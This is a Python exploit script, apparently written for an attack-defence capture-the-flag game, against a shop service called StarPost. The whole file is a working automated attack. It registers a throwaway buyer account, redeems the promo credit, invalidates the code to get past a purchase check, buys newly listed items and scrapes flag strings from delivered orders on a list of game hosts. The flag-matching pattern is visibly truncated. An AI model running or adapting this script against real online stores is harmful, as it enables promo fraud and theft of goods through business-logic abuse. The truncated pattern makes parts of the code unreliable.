#!/usr/bin/env python3 from __future__ import annotations import fcntl import hashlib import json import os import re import secrets import signal import sys import time from datetime import UTC, datetime from email.utils import parsedate_to_datetime from http.cookies import SimpleCookie from pathlib import Path from urllib.error import HTTPError, URLError from urllib.parse import urlsplit, urlunsplit from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener SERVICE_PORT = 8090 RUN_TIMEOUT = 7.5 REQUEST_TIMEOUT = 1.5 MAX_RESPONSE = 512 * 1024 MAX_PRICE = 200 MAX_PRODUCT_AGE = 5.0 MAX_CANDIDATES = 2 MAX_ORDER_POLLS = 6 POLL_INTERVAL = 0.25 ACTIVE_SECOND_START = 18 ACTIVE_SECOND_END = 40 ACTIVE_HOSTS = {"10.80.2.2", "10.80.4.2", "10.80.5.2", "10.80.11.2", "10.80.12.2"} STATE_DIR = Path(os.environ.get("STARPOST_EARLY_BUY_STATE_DIR", "/tmp/starpost-early-buy")) FLAG_PATTERN = re.compile(r"(? str: raw = raw_target.strip() if not raw: raise ValueError("empty target") if "://" not in raw: raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}" parsed = urlsplit(raw) if parsed.scheme not in {"http", "https"} or not parsed.hostname: raise ValueError("expected HTTP(S) target") if parsed.username or parsed.password or parsed.path not in {"", "/"}: raise ValueError("target must contain only a host and optional port") if parsed.query or parsed.fragment: raise ValueError("target must not contain query or fragment") port = parsed.port or SERVICE_PORT if not 1 <= port <= 65535: raise ValueError("invalid target port") host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")) def request_json( target: str, path: str, deadline: float, *, method: str = "GET", payload: dict | None = None, cookie: str | None = None, ) -> tuple[int, object, str | None]: remaining = deadline - time.monotonic() if remaining <= 0: raise TimeoutError("run deadline exceeded") raw_body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None headers = {"Accept": "application/json", "User-Agent": "neo-starpost-early-buy/1.0"} if raw_body is not None: headers["Content-Type"] = "application/json" if cookie: headers["Cookie"] = f"session={cookie}" request = Request(target + path, data=raw_body, headers=headers, method=method) try: response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining)) except HTTPError as exc: response = exc with response: raw = response.read(MAX_RESPONSE + 1) if len(raw) > MAX_RESPONSE: raise ValueError("response too large") cookies = SimpleCookie() for header in response.headers.get_all("Set-Cookie", []): cookies.load(header) session_cookie = cookies["session"].value if "session" in cookies else None try: decoded = json.loads(raw) except (UnicodeDecodeError, json.JSONDecodeError): raise ValueError("invalid JSON response") from None return response.status, decoded, session_cookie def state_paths(target: str) -> tuple[Path, Path]: key = hashlib.sha256(target.encode()).hexdigest()[:20] return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock" def load_seen(path: Path) -> set[int]: try: data = json.loads(path.read_text()) except (FileNotFoundError, OSError, ValueError, json.JSONDecodeError): return set() values = data.get("seen") if isinstance(data, dict) else None if not isinstance(values, list): return set() return {value for value in values if isinstance(value, int) and not isinstance(value, bool) and value > 0} def save_seen(path: Path, seen: set[int]) -> None: STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True) temporary = path.with_suffix(".tmp") temporary.write_text(json.dumps({"seen": sorted(seen, reverse=True)[:256]}, separators=(",", ":"))) os.chmod(temporary, 0o600) temporary.replace(path) def parse_time(value: object) -> datetime | None: if not isinstance(value, str): return None try: parsed = datetime.fromisoformat(value) except ValueError: try: parsed = parsedate_to_datetime(value) except (TypeError, ValueError): return None return parsed.astimezone(UTC) if parsed.tzinfo else None def fresh_products(products: object, seen: set[int]) -> tuple[list[tuple[int, int]], set[int]]: if not isinstance(products, list): raise TypeError("products response is not a list") now = datetime.now(UTC) catalog_ids: set[int] = set() fresh: list[tuple[datetime, int, int]] = [] for product in products: if not isinstance(product, dict): continue product_id = product.get("id") price = product.get("price") created_at = parse_time(product.get("created_at")) if not isinstance(product_id, int) or isinstance(product_id, bool) or product_id <= 0: continue catalog_ids.add(product_id) if ( product_id not in seen and isinstance(price, int) and not isinstance(price, bool) and 1 <= price <= MAX_PRICE and created_at is not None and -1.0 <= (now - created_at).total_seconds() <= MAX_PRODUCT_AGE ): fresh.append((created_at, product_id, price)) fresh.sort(reverse=True) return [(product_id, price) for _, product_id, price in fresh[:MAX_CANDIDATES]], catalog_ids def prepare_buyer(target: str, deadline: float) -> tuple[str, str]: marker = secrets.token_hex(8) status, _, cookie = request_json( target, "/api/register", deadline, method="POST", payload={"username": f"early-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"}, ) if status != 201 or not cookie: raise ValueError(f"buyer registration returned HTTP {status}") status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie) if status != 200 or not isinstance(account, dict): raise ValueError(f"account returned HTTP {status}") promo = account.get("promo") code = promo.get("code") if isinstance(promo, dict) else None if not isinstance(code, str): raise TypeError("buyer promo missing") status, _, _ = request_json( target, "/api/promo/credit", deadline, method="POST", payload={"code": code}, cookie=cookie, ) if status != 200: raise ValueError(f"promo credit returned HTTP {status}") return cookie, code def buy_and_collect(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> set[str]: status, order, _ = request_json( target, f"/api/products/{product_id}/buy", deadline, method="POST", payload={}, cookie=cookie, ) if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated": status, invalidation, _ = request_json( target, "/api/promo/invalidate", deadline, method="POST", payload={"code": promo_code}, cookie=cookie, ) if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True: return set() status, order, _ = request_json( target, f"/api/products/{product_id}/buy", deadline, method="POST", payload={}, cookie=cookie, ) if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int): return set() order_id = order["id"] for poll in range(MAX_ORDER_POLLS): if poll: time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic()))) status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie) if status != 200 or not isinstance(orders, list): continue delivered = next( ( item for item in orders if isinstance(item, dict) and item.get("id") == order_id and item.get("status") == "delivered" ), None, ) if delivered is not None: cargo = delivered.get("cargo") return set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set() return set() def run_exploit(raw_target: str) -> tuple[list[str], str]: current_second = datetime.now(UTC).second if not ACTIVE_SECOND_START <= current_second <= ACTIVE_SECOND_END: return [], "idle" target = build_target(raw_target) if urlsplit(target).hostname not in ACTIVE_HOSTS: return [], "inactive" deadline = time.monotonic() + RUN_TIMEOUT state_path, lock_path = state_paths(target) STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True) with lock_path.open("a+") as lock: os.chmod(lock_path, 0o600) try: fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) except BlockingIOError: return [], "busy" seen = load_seen(state_path) status, products, _ = request_json(target, "/api/products", deadline) if status != 200: raise ValueError(f"products returned HTTP {status}") candidates, catalog_ids = fresh_products(products, seen) save_seen(state_path, seen | catalog_ids) if not candidates: return [], "waiting" flags: set[str] = set() for product_id, _ in candidates: cookie, promo_code = prepare_buyer(target, deadline) flags.update(buy_and_collect(target, product_id, cookie, promo_code, deadline)) if time.monotonic() >= deadline: break return sorted(flags), f"products={len(candidates)}" def main() -> int: if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr) return 2 def hard_timeout(_signum, _frame): raise TimeoutError("run deadline exceeded") signal.signal(signal.SIGALRM, hard_timeout) signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.25) try: flags, result = run_exploit(sys.argv[1]) except (HTTPError, URLError, OSError, TimeoutError, TypeError, ValueError, json.JSONDecodeError) as exc: print(f"request failed: {exc}", file=sys.stderr) return 1 finally: signal.setitimer(signal.ITIMER_REAL, 0) for flag in flags: print(flag, flush=True) print(result, file=sys.stderr) return 0 if __name__ == "__main__": raise SystemExit(main())